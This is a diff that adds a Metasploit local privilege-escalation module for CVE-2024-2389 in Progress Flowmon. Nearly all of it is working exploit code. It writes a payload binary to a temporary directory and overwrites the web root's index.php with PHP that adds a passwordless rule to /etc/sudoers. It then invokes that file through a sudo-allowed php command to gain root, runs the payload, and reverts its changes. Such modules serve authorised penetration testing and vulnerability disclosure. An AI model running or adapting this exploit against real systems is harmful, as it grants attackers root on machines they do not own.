|
| 1 | +# This module requires Metasploit: https://metasploit.com/download |
| 2 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 3 | +## |
| 4 | + |
| 5 | +class MetasploitModule < Msf::Exploit::Local |
| 6 | + Rank = ExcellentRanking |
| 7 | + |
| 8 | + include Msf::Exploit::EXE |
| 9 | + include Msf::Exploit::FileDropper |
| 10 | + include Msf::Post::File |
| 11 | + |
| 12 | + prepend Msf::Exploit::Remote::AutoCheck |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super( |
| 16 | + update_info( |
| 17 | + info, |
| 18 | + 'Name' => 'Progress Flowmon Local sudo privilege escalation', |
| 19 | + 'Description' => %q{ |
| 20 | + This module abuses a feature of the sudo command on Progress Flowmon. |
| 21 | + Certain binary files are allowed to automatically elevate |
| 22 | + with the sudo command. This is based off of the file name. This |
| 23 | + includes executing a PHP command with a specific file name. If the |
| 24 | + file is overwritten with PHP code it can be used to elevate privileges |
| 25 | + to root. Progress Flowmon up to at least version 12.3.5 is vulnerable. |
| 26 | + }, |
| 27 | + 'Author' => [ |
| 28 | + 'Dave Yesland with Rhino Security Labs', |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'References' => [ |
| 32 | + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'], |
| 33 | + ['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability'] |
| 34 | + ], |
| 35 | + 'DisclosureDate' => '2024-03-19', |
| 36 | + 'Notes' => { |
| 37 | + 'Stability' => [ CRASH_SAFE ], |
| 38 | + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], |
| 39 | + 'Reliability' => [ REPEATABLE_SESSION ] |
| 40 | + }, |
| 41 | + 'SessionTypes' => ['shell', 'meterpreter'], |
| 42 | + 'Platform' => ['unix', 'linux'], |
| 43 | + 'Arch' => [ARCH_X86, ARCH_X64], |
| 44 | + 'Targets' => [['Automatic', {}]], |
| 45 | + 'Privileged' => true |
| 46 | + ) |
| 47 | + ) |
| 48 | + register_options([ |
| 49 | + OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]), |
| 50 | + ]) |
| 51 | + end |
| 52 | + |
| 53 | + def check |
| 54 | + score = 0 |
| 55 | + score += 1 if read_file('/var/www/shtml/index.php')&.include?('FlowMon') |
| 56 | + score += 1 if read_file('/var/www/shtml/ui/manifest.json')&.include?('Flowmon Web Interface') |
| 57 | + score += 1 if exists?('/var/www/shtml/translate.php') |
| 58 | + vprint_status("Found #{score} indicators this is a Progress Flowmon product") |
| 59 | + return CheckCode::Detected if score > 0 |
| 60 | + |
| 61 | + return CheckCode::Safe |
| 62 | + end |
| 63 | + |
| 64 | + def on_new_session(session) |
| 65 | + super |
| 66 | + print_status('Cleaning up addition to /etc/sudoers') |
| 67 | + if session.type.to_s.eql? 'meterpreter' |
| 68 | + session.sys.process.execute '/bin/sh', "-c \"sed -i '/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d' /etc/sudoers\"" |
| 69 | + elsif session.type.to_s.eql? 'shell' |
| 70 | + session.shell_command_token 'sed -i \'/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d\' /etc/sudoers' |
| 71 | + end |
| 72 | + end |
| 73 | + |
| 74 | + def cleanup |
| 75 | + super |
| 76 | + unless @index_php_contents.blank? |
| 77 | + print_status('Restoring /var/www/shtml/index.php file contents...') |
| 78 | + file_rm('/var/www/shtml/index.php') |
| 79 | + write_file('/var/www/shtml/index.php', @index_php_contents) |
| 80 | + end |
| 81 | + end |
| 82 | + |
| 83 | + def exploit |
| 84 | + @index_php_contents = '' |
| 85 | + fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR']) |
| 86 | + exploit_file = "#{datastore['WRITABLE_DIR']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" |
| 87 | + |
| 88 | + vprint_status("Saving payload as #{exploit_file}") |
| 89 | + write_file(exploit_file, generate_payload_exe) |
| 90 | + chmod(exploit_file) |
| 91 | + register_file_for_cleanup(exploit_file) |
| 92 | + @index_php_contents = read_file('/var/www/shtml/index.php') |
| 93 | + print_status('Overwriting /var/www/shtml/index.php with payload') |
| 94 | + cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;') |
| 95 | + print_status('Executing sudo to elevate privileges') |
| 96 | + cmd_exec('sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;') |
| 97 | + cmd_exec("sudo '#{exploit_file}'") |
| 98 | + end |
| 99 | +end |
0 commit comments